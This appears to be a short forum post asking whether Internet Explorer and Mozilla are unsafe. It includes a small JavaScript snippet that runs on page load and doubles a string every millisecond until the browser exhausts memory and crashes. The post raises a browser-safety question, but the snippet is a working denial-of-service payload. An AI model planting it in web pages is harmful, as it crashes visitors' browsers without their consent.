Even if you have the option in IE "Play videos in webpage"
unchecked... the following page will render....

& probably your OS will colse the browser after it runs out of memory.

Or maybe try this:

/* ------------
<body onload="hUNT()">
<script language="JavaScript"><!--
var szhUNT="...cauz its a jungle out there!"
function hUNT()
{szhUNT=szhUNT + szhUNT
window.status="String Length is: "+szhUNT.length
window.setTimeout('hUNT()',1);}
// --></script>
--------------------------- */
SO IE/mozilla  is unsafe?
